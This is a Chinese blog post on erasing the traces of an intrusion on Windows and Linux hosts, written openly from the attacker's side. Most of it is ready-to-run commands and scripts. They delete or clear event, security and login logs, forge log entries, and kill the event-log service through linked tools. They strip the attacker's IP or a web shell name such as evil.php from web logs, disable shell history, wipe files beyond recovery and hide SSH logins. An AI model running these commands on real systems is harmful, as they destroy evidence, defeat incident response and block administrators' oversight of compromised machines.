攻击痕迹清除
(0)

痕迹清除

Windows

1.jpeg

bat清除

主要清理这三个方向:3389日志清理、Dos命令日志清理、Web日志清理

@echo off
 Title  日志清理工具
 echo 所有用户帐号ID为:
 echo.
 for /f "skip=4 tokens=1-3" %%i in ('net user') do (
  if not "%%i"=="命令成功完成。" echo %%i
  if not "%%j"=="" echo %%j
  if not "%%k"=="" echo %%k
 )
 echo.
 echo 当前用户帐号ID为:%username%
 @ net stop "task scheduler"
 @del /f /s /q %systemroot%\system32\config\*.evt
 @del /f /s /q %systemroot%\system32\logfiles\*.*
 @del /f /s /q %systemroot%\system32\dtclog\*.*
 @del /f /s /q %systemroot%\system32\*.log
 @del /f /s /q %systemroot%\system32\*.txt
 @del /f /s /q %systemroot%\schedlgu.txt
 @del /f /s /q %systemdrive%\*.gid
 @del /f /s /q %systemroot%\system32\config\SecEvent.evt
 @del /f /s /q %systemroot%\system32\*.ip
 @del /f /s /q c:\winnt\*.txt
 @del /f /s /q c:\winnt\*.log
 @del /f /q %userprofile%\cookies\*.*
 @reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default”
 @del “%USERPROFILE%\My Documents\Default.rdp”
 @exit

日志清除

日志路径

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

简单粗暴

开始→运行,输入 eventvwr 进入事件查看器,右边栏选择清除日志。

一键清除

 PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
 Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

停止日志的记录

通过该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。

因此,系统将无法收集日志,同时事件日志服务似乎正在运行。

github项目地址:https://github.com/hlldz/Invoke-Phant0m

单条日志清除

该工具主要用于从Windows事件日志中删除指定的记录。

github项目地址:https://github.com/QAX-A-Team/EventCleaner

日志伪造

使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

IIS日志

IIS默认日志路径:

%SystemDrive%inetpublogsLogFilesW3SVC1\

清除WWW日志:

停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc

永久擦除

Shift+Delete快捷键永久删除

直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。但是用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。

Cipher 命令多次覆写

在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。

比如,删除D:tools目录下的文件,然后执行这条命令:

cipher /w:D:tools

这样一来,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

Format命令覆盖格式化

Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如:

format D: /P:8

这条命令表示把 D 盘用随机数覆盖 8 次。

清除远程桌面连接记录

当通过本机远程连接其他客户端或服务器后,不仅仅会在安全日志中留下记录还会在本机注册表存留远程桌面连接记录。代码保存为clear.bat文件,双击运行即可自动化清除远程桌面连接记录。

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

利用Metasploit 痕迹清除

需要administrator权限

(1)查看事件日志

 meterpreter > run event_manager  -i  
 [*] Retriving Event Log Configuration
 
 Event Logs on System
 ====================
 
  Name                   Retention Maximum Size Records
  ----                    ---------  ------------  -------
  Application             Disabled   20971520K     2149
  HardwareEvents         Disabled   20971520K     0
  Internet Explorer       Disabled   K             0
  Key Management Service Disabled   20971520K     0
  Security               Disabled   20971520K     1726
  System                 Disabled   20971520K     3555
  Windows PowerShell     Disabled   15728640K     138

(2)清除事件日志(包括六种日志类型)

meterpreter > run event_manager -c

(3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)

 meterpreter > clearev
 [*] Wiping 4 records from Application...
 [*] Wiping 8 records from System...
 [*] Wiping 7 records from Security...

Linux

sh命令

同理,也是这三个方面:Shell命令日志清理,/var/log日志清理,Web日志清理

#!/bin/sh
 ###########################
 #delete log blog.duplicatedcode.com
 # in_day_num: like 1 2 is delete 2day ago logs
 # in_log_path like tomcat log home
 ###########################
 in_log_path=${1}
 in_day_num=${2}
 tmp_delete_log=/var/log/deletelog/"`date +%Y%m`.log"
 deleteLog()
 {
 inner_num=${1}
 #find log
 echo "[`date`] >> start delete logs---" >> $tmp_delete_log
 find ${in_log_path} -type f -mtime ${inner_num} -print0 | xargs -0 rm -rf
 echo "[`date`] >> end delete logs---" >> $tmp_delete_log
 }
 init()
 {
 mkdir -p /var/log/deletelog/
 }
 main()
 {
 init
 if [ -z ${in_log_path} ];then
 echo "[`date`] >> error log_path not init---" >> $tmp_delete_log
 return
 fi
 inner_day_num=+7
 if [[ -n ${in_day_num} ]] && [[ ${in_day_num} -ge 1 ]] ; then
 ${inner_day_num}=${in_day_num}
 fi
 deleteLog ${inner_day_num}
 }
 main

日志清除


 /var/log/btmp   记录所有登录失败信息,使用lastb命令查看
 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
 /var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
 /var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
 /var/log/secure   记录与安全相关的日志信息
 /var/log/message  记录系统启动后的信息和错误日志

清空日志文件

清除登录系统失败的记录:

 [root@centos]# echo > /var/log/btmp
 [root@centos]# lastb             //查询不到登录失败信息

清除相关日志信息:

 清除用户最后一次登录时间:echo > /var/log/lastlog         #lastlog命令
 清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
 清除安全日志记录:cat /dev/null > /var/log/secure
 清除系统日志记录:cat /dev/null > /var/log/message

删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

 # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
 sed  -i '/自己的ip/'d /var/log/messages
 
 # 全局替换登录IP地址:
 sed -i 's/192.168.166.85/192.168.1.1/g' secure

web日志

直接替换日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

清除部分相关日志

# 使用grep -v来把我们的相关信息删除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log

永久擦除技巧

shred命令

实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。

 [root@centos]# shred -f -u -z -v -n 8 1.txt
 shred: 1.txt: pass 1/9 (random)...
 shred: 1.txt: pass 2/9 (ffffff)...
 shred: 1.txt: pass 3/9 (aaaaaa)...
 shred: 1.txt: pass 4/9 (random)...
 shred: 1.txt: pass 5/9 (000000)...
 shred: 1.txt: pass 6/9 (random)...
 shred: 1.txt: pass 7/9 (555555)...
 shred: 1.txt: pass 8/9 (random)...
 shred: 1.txt: pass 9/9 (000000)...
 shred: 1.txt: removing
 shred: 1.txt: renamed to 00000
 shred: 00000: renamed to 0000
 shred: 0000: renamed to 000
 shred: 000: renamed to 00
 shred: 00: renamed to 0
 shred: 1.txt: removed

dd命令

可用于安全地清除硬盘或者分区的内容。

dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数

wipe

Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。

wipe filename

Secure-Delete

Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。

 srm filenames
 fill filename
 sswap /dev/sda1
 smem

清除history记录

方法1

(1) ubuntu系统,可以在输入命令前,按下一个空格,然后再输入命令。这样命令不会被记录到history中。

(2)编辑history记录文件,删除部分不想被保存的历史命令。

vim ~/.bash_history

(3)清除当前用户的history命令记录

 history -c
 echo > ~/.bash_history

方法2

(1)利用vim特性删除历史命令

 #使用vim打开一个文件
 vi test.txt
 
 # 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
 :set history=0
 
 # 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
 vsp ~/.bash_history
 
 # 清除保存.bash_history文件即可。

(2)在vim中执行自己不想让别人看到的命令

 :set history=0
 :!command

方法三

通过修改配置文件/etc/profile,使系统不再保存命令记录。

HISTSIZE=0

方法四

登录后执行下面命令,不记录历史命令(.bash_history)

 unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
 export HISTFILE=/dev/null
 export HISTSIZE=0
 export HISTFILESIZE=0

隐藏远程SSH登陆记录

先要明确一点,假设Linux机器有多张网卡,那么ssh远程登录,last这样的命令会记录什么网卡信息呢?

答案是通哪张网卡,就会记录与此网卡相通的IP。

隐身登录系统,不会被w、who、last等指令检测到。但是X-shell这款工具不具备-i这个参数,只有kali中有。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中,同理。

ssh -o UserKnownHostsFile=/dev/null -T user@192.168.0.1 /bin/bash –i

本文为作者admin发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论